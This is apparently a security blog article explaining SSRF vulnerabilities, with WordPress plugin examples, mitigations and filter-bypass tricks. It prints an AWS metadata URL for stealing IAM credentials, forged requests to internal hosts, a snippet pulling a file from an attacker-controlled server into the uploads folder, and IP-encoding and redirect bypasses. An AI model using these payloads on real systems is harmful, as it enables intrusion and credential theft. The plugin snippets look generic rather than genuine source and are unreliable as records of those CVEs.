In 2021, Microsoft released a security advisory warning of a critical SSRF vulnerability in their Exchange Server software, which was being actively exploited in the wild by threat actors.
Microsoft Exchange Server became vulnerable to a Server-Side Request Forgery (SSRF) exploit, which enabled attackers to send arbitrary HTTP requests and authenticate to on-premise Exchange servers. By exploiting this vulnerability, attackers were able to trick the Exchange server into executing arbitrary commands.
Table of Contents [TOC]
Server-Side Request Forgery (SSRF) attack is a malicious attack where the attacker exploits server functionality to access or modify resources. This type of attack targets applications that support data imports from URLs or allow reading data from URLs. The attacker can manipulate URLs by either replacing them with new ones or tampering with URL path traversal.
To carry out the attack, the attacker usually provides a URL (or modifies an existing one), and the code running on the server reads or submits data to it. This way, the attacker can use URLs to gain unauthorized access to internal data and services, including HTTP-enabled databases and server configuration data that were not intended to be exposed.
When the attacker manipulates the request, the server receives it and attempts to read data from the modified URL. Even for services that are not directly exposed on the public internet, the attacker can select a target URL, which allows them to read data. This is why it is important to protect your servers from SSRF attacks by implementing strong security measures.
SSRF (Server-Side Request Forgery) is a security vulnerability that attackers exploit to initiate requests from within a targeted system. The degree of damage that can be caused by SSRF attacks varies based on the configuration of the system and the attacker’s level of inventiveness. However, the common risks of SSRF attacks are discussed below.
SSRF attacks, if executed successfully, can lead to unauthorized access to an organization’s sensitive data, including login credentials, and unauthorized actions. These attacks can have an impact on the web application itself, the back-end systems it relies on, or even external servers with which the application communicates. Although SSRF attacks are not the first online exploits that come to mind, they are a severe threat.
According to hackerone.com, SSRF attacks ranked fourth (out of ten) in the amount spent on bug bounties in 2020, totaling just under $3 million. Furthermore, SSRF attack’s year-on-year growth is estimated to be 103%.
One of the most commonly known examples of SSRF attacks is gaining access to Amazon EC2 instance credentials. By sending a request to:
http://169.254.169.254/latest/meta-data/iam/security-credentials/{role-name} Attackers can gain access to the provisional credentials of the IAM role attributed to the EC2 instance. The level of damage that can be caused by the attacker depends on the level of access granted to the IAM role. Attackers with higher privileges of the role can retrieve customer information and even execute code remotely on EC2 instances within the target’s AWS account.
To minimize the attack surface from external networks, a security practice is to limit the use of public-facing servers. However, attackers can use SSRF to carry out scans and collect information about internal networks. Once attackers gain access to the server, they can compromise other servers within the network using this information.
While SSRF attacks may not always return data to the attacker, response times or other metadata can be used to determine if a request was successful or not. Attackers can pinpoint a port and a host and port scan the application server’s network by leveraging this metadata in a Cross-Site Port Attack (XSPA). By fingerprinting the services being carried out on the network, attackers can initiate protocol smuggling attacks.
Attackers may utilize SSRF to flood internal servers with large amounts of traffic, taking up their bandwidth, and causing an internal DoS attack. Since the volume of requests received by internal servers is typically lower than the traffic to public-facing servers, they are configured to incur lower bandwidth.
Some modern services are entirely interfaced via HTTP queries, and the cybercriminal may exploit them by controlling the URL. It may even lead to remote code execution on the core server, such as Redis.
Server Side Request Forgery (SSRF) attacks have become increasingly common in recent years. It is essential to understand how SSRF attacks are executed on different platforms. Let’s discuss a technical overview of how these attacks work, with a focus on HTTP requests, URL parsing and manipulation, common targets, and techniques used in SSRF attacks.
SSRF attacks occur when an attacker manipulates a vulnerable application to send unauthorized requests from the server-side. This manipulation enables the attacker to interact with internal systems and external resources accessible to the server.
Attackers often target user-provided input fields, such as URLs or file paths, to initiate SSRF attacks. By carefully crafting malicious input, they trick the application into making unintended requests.
In an SSRF attack, the attacker can influence the destination of the forged request. They can choose to target internal resources, such as databases or administrative interfaces, or even external systems reachable by the server.
SSRF attacks may bypass traditional access controls since the requests originate from the server-side, potentially circumventing firewall restrictions or network segregation measures.
SSRF attacks can lead to severe consequences, including unauthorized data exposure, remote code execution, or compromising the security of internal systems. The impact depends on the attacker’s objectives and the server’s privileges.
There are two main types of SSRF attacks: server SSRF attacks and back-end SSRF attacks.
Server SSRF attacks occur when an attacker replaces the original URL with a malicious URL, typically using the IP 127.0.0.1 or the hostname “localhost“, which points to the local file system on the server. By doing this, the attacker gains access to sensitive data that can be found in a file path under this hostname.
For example, a weather website that uses a REST API to query its server for current weather forecasts can be vulnerable to server SSRF attacks. The attacker can change the API call to point to a sensitive directory, like /admin, causing the server to display the contents of that directory to the attacker.
POST /meteorology/forecasts HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 113 weatherApi=http://data.weatherapp.com:8080/meterology/forecasts/check%3FcurrentDateTime%3D6%26cityId%3D1 The attacker can change this to the following: weatherApi=http://localhost/admin
Back-end SSRF attacks occur when a server has a trusted relationship with a back-end component, and the attacker forges a request to gain access to sensitive data or perform unauthorized operations.
weatherApi=http://192.168.12.5/admin
Back-end components are often considered to be protected inside the network perimeter, making them a common target for attackers. In the weather website example, the attacker could replace the API call with the IP address of a back-end component, like 192.168.12.5, and gain access to the /admin directory on that component’s file system.
Detecting SSRF is critical to preventing such attacks. Follow these steps to detect SSRF:
By following these steps, you can detect SSRF and prevent attackers from exploiting this vulnerability to gain unauthorized access to your resources.
The SSRF exploit in WordPress can happen in several ways. One common way is through WordPress vulnerable plugins or themes. A plugin or theme may have a feature that allows users to import data from external sources, such as images, videos, or web pages. If the plugin or theme does not properly validate user input, an attacker can manipulate the input to send unauthorized requests to other servers.
Another way the SSRF exploit can happen in WordPress is through misconfigured servers. A misconfigured server may allow external requests to internal resources, making it vulnerable to SSRF attacks. Attackers can exploit this vulnerability by sending requests to sensitive internal resources, such as databases or administrative consoles.
SSRF vulnerabilities occur when an attacker can manipulate a web application to make unintended requests to other internal or external systems. The following software platforms are known to have SSRF vulnerabilities:
The CVE-2022-3590 vulnerability is a serious security issue that affects WordPress versions up to and including 6.1.1. Exploiting this vulnerability, an attacker can abuse the server-side request forgery (SSRF) mechanism to make unauthorized requests on behalf of the vulnerable WordPress instance. The vulnerability occurs when the application fails to properly validate user-supplied input used in requests to external resources.
Exploitation of the vulnerability enables attackers to initiate requests to internal or external servers, potentially leading to sensitive data exposure, server-side remote code execution, or even unauthorized access to resources within the network perimeter. The impact of the vulnerability depends on the specific configuration and access privileges associated with the targeted WordPress installation.
To demonstrate the SSRF vulnerability, consider the following code snippet:
<?php $url = $_GET['url']; // User-supplied input $response = file_get_contents($url); echo $response; ?>
In this code, the vulnerable WordPress instance accepts a user-provided URL parameter via the GET method. The code then uses the file_get_contents() function to retrieve the content of the specified URL and displays it on the page. However, the code lacks proper input validation, making it susceptible to SSRF attacks.
An attacker can exploit this vulnerability by crafting a malicious URL that points to an internal or external server they wish to access. For example, an attacker could use the following URL to make an unauthorized request to an internal network resource:
http://vulnerable-wordpress.com/?url=http://internal-server/internal-resource
To mitigate the CVE-2022-3590 vulnerability, it is crucial to promptly update WordPress installations to a version that includes the necessary security patches. In this case, updating WordPress to version 6.1.2 or later would address the vulnerability and prevent potential exploitation.
RSVPMaker plugin for WordPress (version 8.7.2), a SSRF vulnerability exists, which can be exploited by an attacker to perform unauthorized actions on the server.
To illustrate the SSRF vulnerability, consider the following code snippet extracted from the RSVPMaker plugin:
// File: rsvpmaker.php
function fetch_remote_content($url) {
// Retrieve the contents of a remote URL
$response = wp_remote_get($url);
if (is_wp_error($response)) {
// Handle error condition
} else {
// Process the response
}
}
function handle_rsvp_request() {
$url = $_GET['url'];
fetch_remote_content($url);
}
// Rest of the code... In the above code, the fetch_remote_content() function is responsible for retrieving the contents of a remote URL. The handle_rsvp_request() function takes a URL parameter ($_GET[‘url’]) from the user-supplied input and passes it to the fetch_remote_content() function.
An attacker can exploit this vulnerability by manipulating the $_GET[‘url’] parameter to perform unintended actions. For example, an attacker could pass a malicious URL that points to an internal resource or a sensitive server on the local network, leading to unauthorized data retrieval, service disruption, or further attacks.
To address this vulnerability, it is crucial to apply security best practices. The following steps can help mitigate the SSRF vulnerability in the RSVPMaker plugin:
The WordPress Canto Plugin version 1.7.0 and earlier versions are susceptible to a security vulnerability known as Server Side Request Forgery (SSRF). This vulnerability allows an attacker to manipulate the server to make requests to arbitrary destinations, potentially bypassing security measures and accessing internal resources.
<?php
function retrieve_file_contents($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
function process_image($image_url) {
$image_data = retrieve_file_contents($image_url);
// Process the image data
// ...
}
$image_url = $_GET['image_url'];
process_image($image_url);
?> In the above code snippet, the function retrieve_file_contents() is responsible for fetching the content of a specified URL using the cURL library. The user-supplied URL is directly passed to this function through the image_url parameter obtained from the $_GET superglobal array.
This code poses a security risk because it fails to validate or sanitize the image_url parameter. An attacker can abuse this by providing a malicious URL that points to internal resources or sensitive information, resulting in a Server Side Request Forgery vulnerability.
To mitigate this vulnerability, input validation and strict URL whitelisting should be implemented to ensure that only trusted URLs are processed. Additionally, implementing proper access controls and limiting the scope of outbound requests can help prevent SSRF attacks.
Server Side Request Forgery (SSRF) is a security vulnerability that allows an attacker to manipulate the server-side requests made by an application. In the case of WordPress <= 4.0.0, this vulnerability enables an attacker to initiate unauthorized requests from the server, potentially leading to various malicious activities.
To demonstrate the SSRF vulnerability in WordPress <= 4.0.0, consider the following code snippet:
<?php
$url = $_GET['url']; // Get the user-provided URL from the request
// Validate the URL and make a request
$response = wp_remote_get($url);
// Process the response
if (!is_wp_error($response)) {
$body = wp_remote_retrieve_body($response);
echo $body; // Display the response body
}
?> In the code above, a URL is obtained from the user via the $_GET superglobal variable. This URL is then used in the wp_remote_get() function, which initiates a server-side request to the specified URL. The response is then processed and displayed to the user.
However, due to the absence of proper input validation and filtering, an attacker can manipulate the $_GET[‘url’] parameter to launch SSRF attacks. For example, by providing a malicious URL that points to an internal resource or a restricted network, an attacker can bypass security measures and potentially access sensitive information or services.
To address the SSRF vulnerability in WordPress <= 4.0.0, it is essential to follow these recommended practices:
The Server Side Request Forgery (SSRF) vulnerability found in the Paytm Payment Gateway Plugin version 2.7.0 and earlier. The vulnerability, identified as CVE-2022-45362, allows an attacker to manipulate server-side requests, potentially leading to unauthorized access or information disclosure.
The Paytm Payment Gateway Plugin version 2.7.0 and earlier suffers from an SSRF vulnerability. SSRF occurs when an attacker can manipulate a server-side request to make it interact with internal resources that should be inaccessible from the outside. In the case of this plugin, the vulnerability enables an attacker to send crafted requests to arbitrary URLs, potentially bypassing security measures and gaining unauthorized access to internal systems.
Below is a code snippet illustrating the vulnerable section in the Paytm Payment Gateway Plugin:
// Code snippet from Paytm Payment Gateway Plugin
function process_payment_request($request) {
// Retrieve the URL from the user's request
$url = $request->get_param('url');
// Perform a server-side request to the provided URL
$response = wp_remote_get($url);
// Process the response and return the result
if (is_wp_error($response)) {
return 'Error: ' . $response->get_error_message();
} else {
return 'Response: ' . wp_remote_retrieve_body($response);
}
} In the code snippet above, the process_payment_request function takes a user-provided URL as a parameter. The plugin then performs a server-side request to the specified URL using the wp_remote_get function, without properly validating or sanitizing the URL. This lack of input validation allows an attacker to manipulate the URL and send requests to internal resources, potentially leading to unauthorized access or information disclosure.
To mitigate the Paytm Payment Gateway Plugin SSRF vulnerability, it is recommended to follow these best practices:
In 2020, a security researcher discovered an SSRF vulnerability in the wpDiscuz plugin, which is used by thousands of websites running on WordPress. The vulnerability allowed an attacker to send unauthorized requests from the affected WordPress website to other internal or external systems.
The vulnerability was caused by a function in the plugin that allowed users to upload images to the website. The function did not properly sanitize user input, allowing an attacker to insert a malicious URL in the image upload field. When the image was uploaded, the plugin would send a request to the specified URL, effectively allowing the attacker to perform SSRF attacks.
Here’s an example of the code that an attacker could use to exploit the wpDiscuz SSRF vulnerability:
<?php $url = 'https://attacker-controlled-server.com/'; // malicious URL $image_data = file_get_contents($url); // retrieve data from the URL $upload_dir = wp_upload_dir(); // get the WordPress upload directory path $filename = 'malicious-image.jpg'; // specify a filename for the malicious image $file = $upload_dir['path'] . '/' . $filename; // create the file path file_put_contents($file, $image_data); // create the file with the retrieved data ?>
In above example, the attacker specifies a malicious URL and uses the file_get_contents function to retrieve data from the URL. The attacker then uses the WordPress wp_upload_dir function to get the upload directory path and creates a new file with the retrieved data using the file_put_contents function.
By exploiting this vulnerability, an attacker could steal sensitive information, compromise the website, or launch attacks on other internal or external systems. It is essential to keep WordPress and its plugins up to date and to use trusted plugins only to minimize the risk of such attacks.
To mitigate the SSRF vulnerability in the wpDiscuz plugin, it is crucial to implement proper input validation and enforce strict URL whitelisting. Any user-supplied URLs should be thoroughly validated and restricted to prevent accessing internal resources or external systems that are not intended to be accessible.
The SSRF vulnerability allows an attacker to manipulate the server-side requests made by an application. In the context of the All in One SEO Pro Plugin, this vulnerability can be exploited to forge requests and potentially bypass security measures, leading to unauthorized access or data leakage.
In the vulnerable version of the All in One SEO Pro Plugin (up to 4.2.5.1), inadequate input validation and sanitization expose the plugin to SSRF attacks. An attacker can exploit this flaw by sending crafted requests to trick the application into making unintended requests to internal or external resources.
To illustrate the SSRF vulnerability in the All in One SEO Pro Plugin, consider the following code snippet:
<?php
function vulnerableFunction($url) {
$response = file_get_contents($url);
return $response;
}
// Extract URL from user input
$userInput = $_GET['url'];
// Call the vulnerable function
$result = vulnerableFunction($userInput);
echo $result;
?> In the code above, the vulnerableFunction takes a user-provided URL as input and performs a file_get_contents operation to retrieve the content from that URL. However, the lack of proper validation and sanitization on the user input enables an attacker to supply a malicious URL, triggering SSRF.
The vulnerability has been fixed in All in One SEO Pro Plugin version 4.2.6. Users are advised to update to the latest version of the plugin as soon as possible. To address the SSRF vulnerability in the All in One SEO Pro Plugin, it is crucial to implement strict input validation and sanitization.
Developers should verify that user-provided URLs are legitimate and restrict requests to specific whitelisted resources. Additionally, employing a firewall and regularly updating the plugin to the latest secure version is essential to mitigate this vulnerability.
An SSRF exploit can impact a WordPress website in several ways. Firstly, it can allow an attacker to bypass access controls and gain unauthorized access to sensitive data, such as user credentials, customer information, or payment details. Secondly, it can be used to launch attacks on other systems, such as performing port scans, network reconnaissance, or launching attacks on internal applications.
Here are the top WordPress plugin and theme vulnerabilities you should know:
Mitigating Server-Side Request Forgery (SSRF) is crucial to enhance the security of your application. Here are some strategies to help you address this vulnerability:
Remember, mitigating SSRF is an ongoing process. Stay updated on emerging security threats and adhere to best practices to ensure your application remains protected against SSRF and other vulnerabilities. The SSRF exploit poses a significant security risk specifically for WordPress websites. By implementing recommended measures, including timely updates of your WordPress installation, employing a web application firewall, and diligently validating user input, you can effectively minimize the chances of an SSRF exploit occurring.
Applications that incorporate server-side request forgery (SSRF) behavior often use defenses to prevent malicious exploitation. However, these defenses can sometimes be bypassed, leaving the application vulnerable to attack. Let’s explore several techniques that attackers can use to circumvent common SSRF defenses.
Applications that use a blacklist-based input filter typically block input containing hostnames such as 127.0.0.1 and localhost, or sensitive URLs such as /admin. Attackers can bypass these filters by using alternative IP representations of 127.0.0.1, such as 2130706433, 017700000001, or 127.1. They can also register their own domain name that resolves to 127.0.0.1, such as spoofed.burpcollaborator.net.
Obfuscating blocked strings using URL encoding or case variation can also help bypass filters. Another technique is to provide a URL that the attacker controls, which redirects to the target URL. Different redirect codes and protocols for the target URL can be used, such as switching from http: to https: during the redirect, which can bypass some anti-SSRF filters.
Applications that use a whitelist-based input filter only allow input that matches, begins with, or contains a whitelist of permitted values. Attackers can exploit inconsistencies in URL parsing to bypass these filters. For instance, attackers can embed credentials in a URL before the hostname, using the @ character, or use the # character to indicate a URL fragment. They can also leverage the DNS naming hierarchy to place required input into a fully-qualified DNS name that they control.
Attackers can also URL-encode characters to confuse the URL-parsing code. This technique is particularly useful if the filter handles URL-encoded characters differently than the code that performs the back-end HTTP request. They can also try double-encoding characters as some servers recursively URL-decode the input they receive, leading to further discrepancies.
In some cases, attackers can bypass filter-based defenses by exploiting an open redirection vulnerability. For instance, if the user-submitted URL is strictly validated to prevent malicious exploitation of the SSRF behavior, but the application whose URLs are allowed contains an open redirection vulnerability, attackers can construct a URL that satisfies the filter and results in a redirected request to the desired back-end target.
Attackers can leverage the open redirection vulnerability to bypass the URL filter and exploit the SSRF vulnerability. They can use a POST request to supply a stockAPI URL that is on an allowed domain and request the supplied URL, which triggers the open redirection. The application then follows the redirection and makes a request to the internal URL of the attacker’s choosing.
Server-Side Request Forgery (SSRF) attacks are a severe security threat, and the degree of damage that can be caused by them depends on the attacker’s inventiveness and the targeted system’s configuration. An attacker can gain unauthorized access to sensitive data, including login credentials, and execute unauthorized actions. They can also scan internal networks, initiate port scans or cross-site port attacks (XSPA), cause denial of service attacks (DoS), and execute remote code.
To protect servers from SSRF attacks, it is essential to implement strong security measures, including validating and sanitizing user-supplied URLs and using a whitelist approach where only approved URLs are allowed. The annual growth of SSRF attacks is estimated to be 103%, and according to hackerone.com, they ranked fourth in the amount spent on bug bounties in 2020, totaling just under $3 million.